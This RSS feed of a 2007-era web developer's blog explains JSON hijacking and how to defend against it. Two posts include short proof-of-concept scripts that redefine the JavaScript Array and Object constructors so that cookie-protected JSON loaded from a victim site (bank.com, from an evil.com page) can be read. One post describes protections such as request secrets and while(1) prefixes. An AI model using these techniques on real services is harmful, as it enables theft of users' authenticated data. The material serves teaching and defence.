<?xml version="1.0"?>
<rss version="2.0">
<channel>
  <title>Joe Walker - json tag</title>
  <link>http://directwebremoting.org/blog/joe/tags/json/</link>
  <description>Thoughts on Web Development</description>
  <language>en</language>
  <copyright>Joe Walker</copyright>
  <lastBuildDate>Wed, 23 Jul 2008 11:00:41 GMT</lastBuildDate>
  <generator>Pebble (http://pebble.sourceforge.net)</generator>
  <docs>http://backend.userland.com/rss</docs>
  
  
  <item>
    <title>How to Protect a JSON or Javascript Service</title>
    <link>http://directwebremoting.org/blog/joe/2007/04/04/how_to_protect_a_json_or_javascript_service.html</link>
    
      
        <description>
          &lt;p&gt;There have been lots of explanations recently of the dangers of JSON or JavaScript remoting. This post is about what you can do to protect your scripts.&lt;/p&gt;

&lt;h2&gt;The Problem&lt;/h2&gt;

&lt;p&gt;The issues have been explained before, so I&#039;m going to assume some knowledge of the problem. If you&#039;re not sure, some stuff to read:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I blogged that &lt;a href=&#034;/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html&#034;&gt;JSON is not as safe as people think it is&lt;/a&gt;, and updated it with &lt;a href=&#034;/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html&#034;&gt;more issues the next day&lt;/a&gt;. I&#039;ve also written &lt;a href=&#034;/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html&#034;&gt;about CSRF too&lt;/a&gt;.&lt;/li&gt;

&lt;li&gt;Dan Morrill has written an &lt;a href=&#034;http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications&#034;&gt;excellent and lengthy summary&lt;/a&gt;. The fixes are focused on GWT, but the issues are the same for everyone.&lt;/li&gt;

&lt;li&gt;Brent Ashley has just published on developerWorks, about  the &lt;a href=&#034;http://www-128.ibm.com/developerworks/library/x-securemashups/&#034;&gt;future of cross-domain requests&lt;/a&gt;. The article is tangentially relevant, but there is a particularly good set of linked articles.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;The Solutions&lt;/h2&gt;

&lt;p&gt;So what are the solutions? I think there are 3 options. Each has their pros and cons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use a Secret in the Request&lt;/li&gt;
&lt;li&gt;Force pre-eval() Processing&lt;/li&gt;
&lt;li&gt;Force POST requests&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This post is a shortened version of the &lt;a href=&#034;/dwr/security/script-tag-protection&#034;&gt;detailed description of what DWR does&lt;a/&gt; If you are interested in the options &lt;a href=&#034;/dwr&#034;&gt;DWR&lt;/a&gt; takes and how you can configure it, you should read page.

&lt;h2&gt;1. Use a Secret in the Request&lt;/h2&gt;

&lt;p&gt;If you can only support one of these protections, this is the one to chose. Including a secret in the request allows the server to reject the request as invalid before any actions take place. It is common to include the secret in the URL, however this is a slightly vulnerable position for a secret since it is likely to turn up in web server log files and so on.&lt;/p&gt;

&lt;p&gt;It is possible to use cookie values like PHPSESSIONID or JSESSIONID read using Javascript as the secret. The browsers cross-domain rules should prevent attackers from discovering this cookie. However this method will stop working as people begin to switch to using &lt;a href=&#034;http://msdn.microsoft.com/workshop/author/dhtml/httponly_cookies.asp&#034;&gt;HttpOnly&lt;/a&gt; cookies. So it is better to start with a separate secret.&lt;/p&gt;

&lt;h2&gt;2. Force pre-eval() Processing&lt;/h2&gt;

&lt;p&gt;Since &amp;lt;script&amp;gt; tag remoting does not allow you to process the JSON or Javascript before it is eval()ed you can protect your JSON by forcing it to be manipulated before eval(). All 3 of these techniques will prevent your request from being pure JSON, however you may rank security above purity. There are 3 ways to do this:&lt;p&gt;

&lt;ul&gt;
&lt;li&gt;Wrap the JSON in a comment. For example, &lt;code&gt;/* { &#039;data&#039;:&#039;protected&#039; } */&lt;/code&gt;. When this is eval()ed, there will be no result, however if you have fetched the data using XHR or iframe, you can do some string manipulation before eval() to remove the leading /* and trailing */.
&lt;br/&gt;
This method is good for plain JSON, however if you are using Javascript which could contain /* comments */, then you should not use this technique because comments in Javascript do not nest.&lt;/li&gt;

&lt;li&gt;Prefix the script with &#039;&lt;code&gt;while(1);&lt;/code&gt;&#039; Since this is an infinite loop, if causes browsers to hang, and maybe give an error message. Either way the script does not get executed.
&lt;br/&gt;
There is a potential vulnerability that some browser may allow you to override the action of while using something like this: &#039;&lt;code&gt;function while() {}&lt;/code&gt;&#039;. However I don&#039;t know of any such browser.
&lt;br/&gt;
Google use this method to protect data in GMail. &#039;&lt;code&gt;while(1);&lt;/code&gt;&#039; is possibly better than &#039;&lt;code&gt;while(true);&lt;/code&gt;&#039; in case there are any browsers that allow you to redefine truth.&lt;/li&gt;

&lt;li&gt;Prefix the script with &#039;&lt;code&gt;throw new Error(&#034;message&#034;);&lt;/code&gt;&#039;. This is a neat solution in that it allows you to explain what is wrong to users that get the message by mistake. DWR uses this method.
&lt;br/&gt;
It is potentially vulnerable to some browser allowing an attacker to redefine the Error or String constructors to prevent the throw from happening, however this does not work on any browser that I know of, and it&#039;s hard to see how it could happen.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;3. Force POST Requests&lt;/h2&gt;

&lt;p&gt;Since browsers use GET to process &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, you can prevent &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags from working by denying GET requests for some JavaScript resource. This is the most common solution, however it is also perhaps the weakest.&lt;/p&gt;

&lt;p&gt;Firstly XHR-POST doesn&#039;t work with older versions of Safari, so some support for GET is often useful.&lt;/p&gt;

&lt;p&gt;More importantly future versions of Firefox are touted to include cross-domain XHR support. While we don&#039;t have exact knowledge of how this will happen, it would be foolish to base your security plans on this technique holding up.&lt;/p&gt;

&lt;p&gt;Finally, we&#039;re working in an environment where new possibilities are popping up every day - betting your security on a system that works more by fluke than design isn&#039;t a great idea in my opinion.&lt;/p&gt;

&lt;p&gt;By default DWR denies POST requests for belt and braces security, however this is customizable to allow support for older versions of Safari.&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2007/04/04/how_to_protect_a_json_or_javascript_service.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2007/04/04/how_to_protect_a_json_or_javascript_service.html</guid>
    <pubDate>Wed, 04 Apr 2007 08:32:14 GMT</pubDate>
  </item>
  
  <item>
    <title>JSON is not as safe as people think it is, part 2</title>
    <link>http://directwebremoting.org/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html</link>
    
      
        <description>
          &lt;p&gt;Yesterday, I blogged about how to &lt;a href=&#039;http://getahead.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html&#039;&gt;steal data from JSON by overriding the Array constructor&lt;/a&gt;. Today, we break into Objects too.&lt;/p&gt;

&lt;p&gt;Mark Goodwin submitted &lt;a href=&#039;http://getahead.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html#comment1173189079600&#039;&gt;a non-deprecated syntax&lt;/a&gt; that uses the &lt;a href=&#039;http://developer.mozilla.org/en/docs/index.php?title=Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters&amp;printable=yes&#039;&gt;__defineSetter__&lt;/a&gt; feature, which was a good start (Aside: does anyone else think that&#039;s ugly?). Over iChat he also invented a setTimeout tweak, and I ported it over to Object.&lt;/p&gt;

&lt;p&gt;So now you can steal data from any JSON object:&lt;/p&gt;

&lt;pre&gt;
&amp;lt;script type=&#034;text/javascript&#034;&amp;gt;
var obj;
function Object() {
  obj = this;
  // define a setter for the killme property
  this.__defineSetter__(&#039;killme&#039;, function(x) {
    for (key in obj) {
      if (key != &#039;killme&#039;) {
        alert(&#039;Data stolen from array: &#039; + key + &#039;=&#039; + obj[key]);
      }
    }
  });
  // call the setter when the JSON parse is done
  setTimeout(&#034;obj[&#039;killme&#039;]=2;&#034;, 0);
}
&amp;lt;/script&amp;gt;
&amp;lt;button onclick=&#034;({ &#039;data&#039;:&#039;wibble&#039; })&#034;&amp;gt;Hack&amp;lt;/button&amp;gt;
&lt;/pre&gt;

&lt;p&gt;It&#039;s still not going to work anywhere but Mozilla, but now that&#039;s only because the JavaScript interpreters in the other browsers are out of date.&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html</guid>
    <pubDate>Tue, 06 Mar 2007 23:33:50 GMT</pubDate>
  </item>
  
  <item>
    <title>JSON is not as safe as people think it is</title>
    <link>http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html</link>
    
      
        <description>
          &lt;p&gt;I saw some &lt;a href=&#034;http://robubu.com/?p=24&#034;&gt;discussion recently&lt;/a&gt; about using JSON for secured data, and I&#039;m not sure that everyone understands the risks.&lt;/p&gt;

&lt;p&gt;I believe that JSON is unsafe for anything but public data unless you are using unpredictable URLs.&lt;/p&gt;

&lt;p&gt;There are 2 problems. CSRF (Cross Site Request Fogery) allows attackers to bypass cookie based authentication. &lt;a href=&#034;http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html&#034;&gt;I blogged about it&lt;/a&gt; a while ago. &lt;a href=&#034;http://en.wikipedia.org/wiki/Cross-site_request_forgery&#034;&gt;Wikipedia&lt;/a&gt; talks about it. CSRF allows you to invoke cookie protected actions on a remote server. It allows Mr. Evil to trick Mrs. Innocent into transferring money from her bank account into his.&lt;/p&gt;

&lt;p&gt;Far less known perhaps, is the JSON/Array hack that allows a user to steal JSON data on Mozilla and any other platform with a modern JavaScript interpreter.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Update:&lt;/b&gt; It&#039;s not just Arrays - it you can &lt;a href=&#039;http://getahead.org/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html&#039;&gt;steal data from objects&lt;/a&gt; too.&lt;/p&gt;

&lt;p&gt;There are many ways to fetch data from a server, but the interesting cases here are: XHR, iframe and script-tags. Without knowledge of the JSON/Array hack it&#039;s easy to reason like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;XHR: Browser cross-domain rules prevent the attacker from making the request in the first place.&lt;/li&gt;

&lt;li&gt;iframe: The attacker can embed an iframe that points at some remote server (the bank in the above example) and ask to be sent some JSON, but browser cross-domain rules prevent scripts from the attackers domain from reading the reply, so the JSON is safe because it will never be &lt;code&gt;eval()ed&lt;/code&gt;.&lt;/li&gt;

&lt;li&gt;Script-Tags: The attacker can embed a script tag pointing at a remote server and the browser will effectively &lt;code&gt;eval()&lt;/code&gt; the reply for you, however it throws away the response and since JSON is all response, you&#039;re safe.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It&#039;s the last of these arguments that is suspect. The dynamic nature of JavaScript will let you redefine how the browser evaluates the JSON.&lt;/p&gt;

&lt;p&gt;Here&#039;s how it works, and you can follow along with any JavaScript console: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Redefine the Array constructor:&lt;br /&gt;
&lt;pre&gt;function Array() { alert(&amp;quot;hi&amp;quot;); }&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;Verify that this constructor is called when arrays are created:&lt;br /&gt;
&lt;pre&gt;var a = [ 43 ];&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;Use the new feature to manipulate the array:&lt;br /&gt;
&lt;pre&gt;
function Array() {
  this[1] = 50;
}
var a = [40];
alert(a[0] + a[1]); // Gives 90
&lt;/pre&gt;
&lt;/ol&gt;

&lt;p&gt;So we can call secure JSON data using CSRF with a script tag to by-pass the cookie authentication, and then use the JSON/Array hack to steal the JavaScript data from the browser as it processes the script-tag.&lt;/p&gt;

&lt;p&gt;So we&#039;ve redefined the Array constructor, how do we actually get the data out? The syntax below works in current versions of Firefox, although from my reading of the spec proposals, it&#039;s not a part of &lt;a href=&#039;http://developer.mozilla.org/es4/spec/spec.html&#039;&gt;Javascript 2&lt;/a&gt;, and it appears to fail in IE/Safari/Opera.&lt;/p&gt;

&lt;p&gt;Create a web page at evil.com, with a couple of script tags like this:&lt;/p&gt;

&lt;pre&gt;
&amp;lt;script type=&amp;#39;text/javascript&amp;#39;&amp;gt;
function Array() {
  var obj = this;
  var ind = 0;
  var getNext = function(x) {
    obj[ind++] setter = getNext;
    if (x) alert(Data stolen from array: &#034; + x.toString());
  };
  this[ind++] setter = getNext;
}
&amp;lt;/script&amp;gt;
&amp;lt;script type=&amp;#39;text/javascript&amp;#39; src=&amp;#39;http://bank.com/jsonservice&amp;#39;&amp;gt; &amp;lt;/script&amp;gt;
&lt;/pre&gt;

&lt;!--
&lt;Xscript type=&#034;text/javascript&#034;&gt;
function Array() {
  var obj = this;
  var ind = 0;
  var getNext = function(x) {
    obj[ind++] setter = getNext;
    if (x) alert(&#034;Data stolen from array: &#034; + x.toString());
   };
   this[ind++] setter = getNext;
}
&lt;/Xscript&gt;
--&gt;

&lt;p&gt;As a demo, I&#039;ve redefined the Array constructor in this page, so if you&#039;re on Firefox, you should get an alert dialog from the following script: &lt;button disabled=&#034;disabled&#034; onclick=&#039;var hack = [ 42 ];&#039;&gt;var hack = [ 42 ];&lt;/button&gt;. &lt;strong&gt;Update:&lt;/strong&gt; This was killing Google Analytics, which we added later, so I&#039;ve removed the array hack script from this page.&lt;/p&gt;

&lt;p&gt;(If you&#039;re reading this in a blog aggregator, then the script above should have been stripped out, so it won&#039;t work. You need to try it on &lt;a href=&#034;http://getahead.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html&#034;&gt;this page&lt;/a&gt;. If the script has not been stripped, get a new aggregator - your current one has a horrible security flaw.)&lt;/p&gt;

&lt;p&gt;The long and short is that JSON is not safe in any system that uses cookies for authentication.&lt;/p&gt;

&lt;p&gt;With &lt;a href=&#034;http://getahead.org/dwr/&#034;&gt;DWR&lt;/a&gt; we use full JavaScript which is as vulnerable as JSON, however DWR&#039;s CSRF protection automatically uses the doubly-submitted cookie pattern to provide extra safety.&lt;/p&gt;

&lt;p&gt;I&#039;m by no means the first person to think of this; Jeremiah Grossman &lt;a href=&#039;http://jeremiahgrossman.blogspot.com/2006/01/advanced-web-attack-techniques-using.html&#039;&gt;used it to break GMail&lt;/a&gt; over a year ago.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; If you are doing JSON 100% properly, then you will only have objects at the top level. Arrays, Strings, Numbers, etc will all be wrapped. A JSON object will then fail to eval() because the JavaScript interpreter will think it&#039;s looking at a block rather than an object. This goes a long way to protecting against these attacks, however it&#039;s still best to protect your secure data with un-predictable URLs.&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html</guid>
    <pubDate>Mon, 05 Mar 2007 19:31:52 GMT</pubDate>
  </item>
  
  <item>
    <title>JSON and RAP</title>
    <link>http://directwebremoting.org/blog/joe/2006/03/28/json_and_rap.html</link>
    
      
        <description>
          &lt;p&gt;&lt;b&gt;JSON-RPC:&lt;/b&gt;&lt;/p&gt;

&lt;a href=&#034;http://oss.metaparadigm.com/jsonrpc/&#034;&gt;
&lt;img src=&#034;http://oss.metaparadigm.com/jsonrpc/images/json.gif&#034; align=&#034;right&#034; style=&#034;margin:5px 20px;&#034; border=&#034;0&#034;/&gt;&lt;/a&gt;

&lt;p&gt;There are &#039;quite a few&#039; Ajax frameworks in nearly the same way that there are &#039;quite a few&#039; stars in the sky, however not many that do the same sort of thing as &lt;a href=&#034;http://getahead.ltd.uk/dwr/&#034;&gt;DWR&lt;/a&gt;. From what I&#039;ve seen the biggest competitor DWR has is &lt;a href=&#034;http://oss.metaparadigm.com/jsonrpc/&#034;&gt;JSON-RPC&lt;/a&gt;, which has just released 1.0, so congratulations. See also the &lt;a href=&#034;http://oss.metaparadigm.com/jsonrpc-dist/CHANGES.txt&#034;&gt;changelog&lt;/a&gt; and the &lt;a href=&#034;http://oss.metaparadigm.com/jsonrpc-dist/&#034;&gt;downloads&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;RAP:&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;Mike Milinkovich mailed me the other day with a heads-up on &lt;a href=&#034;http://www.eclipse.org/proposals/rap/&#034;&gt;RAP&lt;/a&gt; (Rich AJAX Platform), which seams to be a port of the Eclipse RCP platform to Ajax.&lt;/p&gt;

&lt;p style=&#034;margin:5px 30px; font-style:italic;&#034;&gt;&#034;The RAP project aims to enable developers to build rich, AJAX-enabled Web applications by using the Eclipse development model, plug-ins and a Java-only API.&#034;&lt;/p&gt;

&lt;p&gt;There is a demo of it in action &lt;a href=&#034;http://rap.innoopract.com/webworkbench&#034;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&#034;margin-left:auto;margin-right:auto;text-align:center;&#034;&gt;
&lt;img src=&#034;http://getahead.ltd.uk/images/rap.png&#034;/&gt;
&lt;/div&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2006/03/28/json_and_rap.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2006/03/28/json_and_rap.html</guid>
    <pubDate>Tue, 28 Mar 2006 09:07:51 GMT</pubDate>
  </item>
  
  </channel>
</rss>
